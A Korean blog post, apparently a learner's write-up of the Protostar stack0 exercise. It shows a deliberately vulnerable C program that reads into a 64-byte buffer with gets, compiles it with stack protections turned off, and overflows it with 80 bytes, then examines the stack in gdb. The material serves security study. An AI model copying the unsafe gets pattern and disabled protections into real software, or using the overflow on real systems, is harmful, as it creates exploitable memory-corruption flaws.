stack0.c
int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } }
출처 : http://liveoverflow.com/binary_hacking/protostar/stack0.html
1. 문제해결
1-1. vmware - 칼리리눅스 기반
1-2. stack0.c 저장
gedit stack0.c 콘솔에 입력
Alt + Tab이 가능하게 콘솔 창에서 Ctrl + z를 누른 후 bg 입력
스택 구조
buffer
modifided
ebp
ret
1-3. 컴파일
칼리가 버전업 되면서 gcc -o stack0 stack0.c 컴파일 하면 스택 공격 불가
따라서 gcc -w -z execstack -no-pie -o stack0 stack0.c 컴파일
실행 파일이 생성 됐음을 확인할 수 있다.
1-4. stack0 실행 후 modified 변경
64개 입력하면 덮어씌워지려나? 해서 64개 입력 안 됨
70개도 안 됨. 75개도 안 됨.
80개 됨.
buffer + dummy + sfp 이건가... 구하는 방법이 있었는데 기억이 안 나서 다시 공부해야 함.
2. 분석
2-1. gdb로 분석
현재 peda가 다운로드된 상태이므로 peda 다운로드가 안 되어 있을 시,
gdb ./stack0
set disassembly-flavor intel (어셈블리 명렁어 앞에 $ 없애줌) (리틀 앤디안 방식)
브레이크 포인트 누산기 위치(eax)에 걸어준다.
b *main+42
run을 해주고
python -c "print('a'*80)" 코드로 생성한 80개의 a를 복사/붙여넣기한다.
80 바이트인 이유는 main+8과 main+15에 뺀 값이기 때문이다
0x54 - 0x4 = 0x50 // 16진수이므로 16^0 * 0 + 16^1 * 5 = 80
2. modified 위치
main+39를 보면 rbp-0x4로 돼 있다.
이게 modified의 주소다.
x/30gx $rsp로 stack pointer 위치 확인
info reg $rbp
rbp-0x4를 살펴보면 0x6161616161616161 잘 들어가 있다.
GDB 명령어 : http://create32.tistory.com/entry/GDB-%EC%82%AC%EC%9A%A9%EB%B2%95-x-%EB%AA%85%EB%A0%B9%EC%96%B4
3. 레지스터 eax 확인
info reg $eax
참고 자료 : https://www.inflearn.com/course/%ED%94%84%EB%A1%9C%ED%86%A0%EC%8A%A4%ED%83%80/
'프로토스타' 카테고리의 다른 글
[프로토스타] stack5-1 (스택 접근) (0) | 2019.01.10 |
---|---|
[프로토스타] stack4 (0) | 2019.01.09 |
[프로토스타] stack3 (0) | 2019.01.09 |
[프로토스타] stack2 (0) | 2019.01.09 |
[프로토스타] stack1 (0) | 2019.01.08 |